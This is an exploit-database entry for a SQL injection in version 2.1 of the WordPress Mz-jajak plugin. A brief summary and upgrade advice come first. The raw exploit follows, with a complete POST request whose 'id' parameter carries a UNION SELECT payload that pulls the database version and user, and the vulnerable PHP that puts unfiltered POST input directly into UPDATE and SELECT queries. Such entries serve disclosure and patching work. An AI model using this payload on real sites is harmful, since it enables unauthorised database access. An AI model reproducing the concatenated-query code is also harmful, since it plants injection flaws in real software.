WordPress Mz-jajak plugin - exploit.company

vendor:

Mz-jajak plugin

by:

StRoNiX

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Mz-jajak plugin

Affected Version From: 2.1

Affected Version To: 2.1

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

WordPress Mz-jajak plugin <= 2.1 SQL Injection Vulnerability

A SQL injection vulnerability exists in the WordPress Mz-jajak plugin version 2.1 and below. An attacker can send a specially crafted POST request to the index.php page with malicious SQL code in the 'id' parameter. This can allow the attacker to gain access to sensitive information from the database.

Mitigation:

Upgrade to the latest version of the WordPress Mz-jajak plugin.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Mz-jajak plugin <= 2.1 SQL Injection Vulnerability
# Date: 2012-08-10
# Author: StRoNiX
# E-mail: hacker@hotmail.rs
# Software Link: http://downloads.wordpress.org/plugin/mz-jajak.zip
# Version: 2.1 (tested)


---------------
PoC (POST data)
---------------
POST /index.php HTTP/1.1
User-Agent: Mozilla
Host: example.com
Accept: */*
Referer: http://example.com/?page_id=9
Connection: Keep-Alive
Content-Length: 111
Content-Type: application/x-www-form-urlencoded

answer=1&formvote=Y&id=1 AND 1=0 UNION ALL SELECT 1,2,version(),user(),5,6,7,8,9,10,11,12,13,14,15--+&x=10&y=12


---------------
Vulnerable code
---------------
$id=$_POST['id'];    
...
$query = $wpdb->query("UPDATE " . $table_name . " SET ".$answert."=".$answert."+1 WHERE id=".$id);
                }
                $rows = $wpdb->get_results("SELECT * FROM " . $table_name . " WHERE id=".$id);



###########################################################
Greetz: T0r3x, m1l05, JuMp-Er, EsC, UNICORN, Xermes, s4r4d0

----------------------------snip--------------------------------------

Thanks,
~StRoNiX